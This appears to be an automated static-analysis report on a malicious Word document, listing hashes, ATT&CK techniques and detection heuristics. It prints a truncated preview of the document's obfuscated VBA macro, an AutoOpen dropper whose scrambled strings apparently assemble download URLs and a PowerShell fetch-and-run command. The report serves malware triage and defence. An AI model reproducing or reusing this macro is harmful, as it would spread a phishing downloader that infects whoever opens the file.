Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e706cbd462c5aeb7…

MALICIOUS

Office (OLE)

154.5 KB Created: 2018-02-06 09:04:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: edbea8457ac8d01abb0d4fe72ba32801 SHA-1: e87c1aa4c3f001486eba82029c7bac8f8d8853f8 SHA-256: e706cbd462c5aeb7ffb125395b22961848d529146ba73ca8d68d6bf07456d4bf
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro uses the Application.Run method, indicating an attempt to execute a secondary payload. The presence of ClamAV detections like 'Img.Dropper.PhishingLure-6443153-0' and 'Doc.Trojan.Obfuscated-6443078-0' further confirms its malicious nature. The obfuscated nature of the VBA script prevents a more detailed analysis of its specific actions.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 47312 bytes
SHA-256: a66a6bc811752bfcc1f4417e1d932aab03db9106d6fdc0f8a4aeba6d273ac196
Detection
ClamAV: Doc.Trojan.Obfuscated-6443078-0
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "GQqNEYdUBIaA"
Sub AutoOpen()
On Error Resume Next
tdGvQCclt = nHZkjmWiiEKrnV / ChrW(85) + 7213066 / 229253 * NEiouJTXNLNVt / Fix(HEfjMJpiskFqNG) / 402772 - lKPPPjKGszGMS
bIJoFCmIp = szjLwiDvMV / ChrW(85) + 4641491 / 5028016 * FikatYn / Fix(CcLRbwCHD) / 2921984 - wkXSfUMXoCtr
uBFDKVcsk = LpUXuXm / ChrW(85) + 251146 / 7645376 * GrdThMEG / Fix(AwLIlRQWssmb) / 4274242 - uZizIaplnOlkDX
lVwRWLjDz = iGdAtJBjkujt / ChrW(85) + 9908000 / 2822048 * fsOKzXBNtkWtUF / Fix(MrZBOBwo) / 8527366 - NEAJnsWjVqS
Application.Run "ITFdlRGbKdbhUp", TUscfwUq
VsCIhskQW = jbZhsUzAu / ChrW(85) + 6728093 / 821337 * jjTBEFsAKz / Fix(srzXshJMX) / 4224954 - jdbbvXYja
HOwLSpjni = VEjLjpswFS / ChrW(85) + 7023112 / 4347029 * ARDqZcKUbaYH / Fix(tnEDAWhwAKz) / 3307802 - mCbTQqkhwuPwGK
UEtiIDDwF = BSOohAGDZfqHt / ChrW(85) + 1625853 / 1994827 * XwvspEuLNuGj / Fix(NrqziRwcwAzoL) / 4937879 - UMLlTZjGAMC
zXCanuaMM = AKKqMGawzEiiT / ChrW(85) + 8420364 / 235537 * UMRjkpkjUaZV / Fix(DNzNlUCB) / 8992128 - TGKDIYSD
End Sub
Function TUscfwUq()
On Error Resume Next
iBhHH = ("cfwdzDSrtacDSr+DSr-ssiDSr+DSrbmDSr+DSri//:DSr+DSrptDSr+DSrth?DSr+DSr/DSr+DSrAPcDSr+DSrxD'+'iwupL")
qCdYIABjI = LOIcBNptjW / ChrW(85) + 5336669 / 8970196 * fLudLWkEROjEl / Fix(ovTCBmGZz) / 2644729 - pjiMLYpID
iFEKwqww = kSEFsVTu / ChrW(85) + 923 / 5355315 * PwBwNTaIiG / Fix(hMVmFrFqr) / 9192940 - GDcOzIQnizls
AiuIom = Mid(iBhHH, 6, 86)
aSBVsIwqj = ("0jPbBwsmDSr+DSr.DSr+DS'+'raiDSr+DSrdemkDSr+DSrcajjDSr+DSr.www//DSr+DSr:DSr+DSrptDSr+DSrtDSr+DSrh?DSr+DSr/EYDSr+DSrUN'+'/moc.gnDSr+DSriDSr+DSrreDSr+QXpYjZNVdzfYp45DZ")
KbEpWzAuN = LpoBPss / ChrW(85) + 6051809 / 8753154 * izIZbHq / Fix(oDozjXIhTp) / 3421226 - bHOrjmbtECJ
diJqjzRS = jGDfnnbYAzaAMM / ChrW(85) + 1178459 / 3164296 * iZDNPYaiQqpfz / Fix(ltrPcTcuj) / 2727255 - dbhOfXfLAWdGi
ZiBlpCt = Mid(aSBVsIwqj, 9, 139)
wDVssZzOTkc = ("UqoSr+DSreDSr+DSr9kZDSr+DSr+9kDSr+DSrZDSr+D'+'Srk9kZDSr+DSr+DSr+DSr9k'+'DSr+DSrZDGUDF25lORXnuD3")
FDTvuBrJ = ROikkbkibYGl / ChrW(85) + 6161439 / 3598651 * AhFkQKMU / Fix(CzMbrHFM) / 2783527 - WtNLGEnDBc
Jlllcs = JNpzaUJzQa / ChrW(85) + 1025216 / 8929451 * hkOImUStWI / Fix(SnWwjdGKrrtmXi) / 3363752 - wNzzQzqdWpiQ
AiKqX = Mid(wDVssZzOTkc, 4, 78)
XqaKrYBFlij = ("qrderDSr+DSrcDSr+DS'+'r//:ptDSr+DSrth  DSr+DSr9'+'kZ Yn21flI19TY")
THwQiiCk = wzvzpuNtML / ChrW(85) + 8107641 / 1085386 * bofQVPjQLfrt / Fix(kOiJWnCEsztf) / 8520807 - tnSooiFTWz
FDvtDkLts = buIImUE / ChrW(85) + 1013507 / 1245701 * wLCoDCdj / Fix(lldsmcsqCLdRs) / 6996748 - vstvFip
uzjGnAbzTQ = Mid(XqaKrYBFlij, 2, 52)
OApbz = ("ZrV08TGuSG8ZtN3jMf2C43'+'+DSr(hcDSr+DSraDSr+DSreroDSr+DS'+'rf;)9kZe9kZDSr+DSr+9kZDSr+DSrxDSr+DSre.DS'+'r+DSr9kZDSr+DSr(DSr+DSr +DSrtDA6n")
jVvou = rXOLAnfIVpBRGa / ChrW(85) + 4424521 / 8717919 * XQJGWijS / Fix(jOaLvDQwTkTS) / 1767160 - fiKCwLlq
wjCKNsppF = IanHZqUt / ChrW(85) + 6578533 / 8641450 * ERiKtzAJH / Fix(aoOHdYMbiGAs) / 1072338 - lHvqGwrkZ
QMzLqj = Mid(OApbz, 23, 109)
hjQoOIVr = ("VRfRRNc8SzL0n5vJMDFaPj0Yh ('[strINg]::j9DUN")
mMbPIIqlQw = njsCkbWwAXab / ChrW(85) + 8725561 / 4493817 * wjtwwTp / Fix(CcjZDHPPTVEam) / 2183720 - nkwivBjHq
IwknvRSZ = cwOvtbRzsqZ / ChrW(85) + 744187 / 328995 * qlIHGowSk / Fix(FLCkumTVq) / 9538098 - IBUZumduVok
wajKo = Mid(hjQoOIVr, 26, 14)
wHpSG = ("Wwms3FiOWwbsWVqPrlKTl6oikR1u0v= DSr+DSrXCDDSr+DSrAczw;DSr+DSr)3DSr+DSr31282 ,0DSr+DSr0001(txDSr'+'+DSre'+'n.DSr+DSrdsadasnczDSruJorA")
HTvmMRtvbEO = nwkWflKZFup / ChrW(85) + 9829280 / 2396131 * zQUFApSNfkYm / Fix(miJpqwtkRuw) / 9487524 - hKmwdqFjzqKm
VQajaZjiRrd = QHaSzwtLXv / ChrW(85) + 9400262 / 896635 * CTzjVVINHHbjHi / Fix(tpowDVjlKzu) / 125491 - bKPpsdn
MaucjoiZJBi = Mid(wHpSG, 31, 97)
mtVbbPPwPc = ("UE92]34).rePLaCe(([cHAr]79+[cHAr]104+[cHAr]76),'$').rePLaCe('lgv','|').rePLaCe('Dimp9mFajd")
KOmiuXP = EskuTaVMH / ChrW(85)
... (truncated)